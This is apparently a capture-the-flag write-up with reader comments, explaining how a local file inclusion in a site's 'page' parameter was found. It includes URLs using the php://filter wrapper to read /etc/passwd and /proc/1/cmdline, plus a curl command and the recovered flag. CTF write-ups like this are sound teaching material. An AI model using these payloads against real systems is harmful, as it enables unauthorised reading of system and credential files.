In the task, I got a website with register, login, logout forms. The web site redirected to:
- http://15.165.80.50/?page=login
- http://15.165.80.50/?page=logout
After a while I figured out that the page parameter's value was vulnerable, which I was able to read local files using php wrapper LFI. For example:
- http://15.165.80.50/?page=php://filter/convert.base64-encode/resource=/etc/passwd
I used the above payload to read the website's files such as index.php, however, it did not work. I wasted my time guessing the path and file name of the web files and a flag.
I checked some files to gain some information in /proc and other directories. The flag was in /proc/1/cmdline.
$ curl http://15.165.80.50/?page=php://filter/convert.base64-encode/resource=/proc/1/cmdline -o a.txt
$ cat a.txt
<!DOCTYPE html>
<html lang="en">
<head>
<title>My Viet Nam</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.0/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.0/js/bootstrap.min.js"></script>
<style type="text/css">
body{ font: 14px sans-serif; }
.wrapper{ width: 350px; padding: 20px; }
</style>
</head>
<body>
<nav class="navbar navbar-inverse">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="/">My Viet Nam</a>
</div>
<ul class="nav navbar-nav">
<li class="active"><a href="/">Home</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li><a href="?page=register"><span class="glyphicon glyphicon-user"></span> Register</a></li>
<ll><a href="?page=login"><span class="glyphicon glyphicon-log-in"></span> Login</a></li>
</ul>
</div>
</nav>/bin/bash/bin/start_service WhiteHat{Local_File_Inclusion_bad_enough_??}
The flag was WhiteHat{Local_File_Inclusion_bad_enough_??}.
Thanks for your writeup. It was very interesting to read about using php wrapper LFI. I was just wondering, how did you find out there was a file in /proc/1 called cmdline? I tried to do the challenge again after reading your writeup, but could not find any file that gave any clue to the whereabouts of the flag.
ReplyDeleteHi, I tried to check /proc/self/cmdline and /proc/1/cmdline. I found /proc/1 by bruteforce attack.
Delete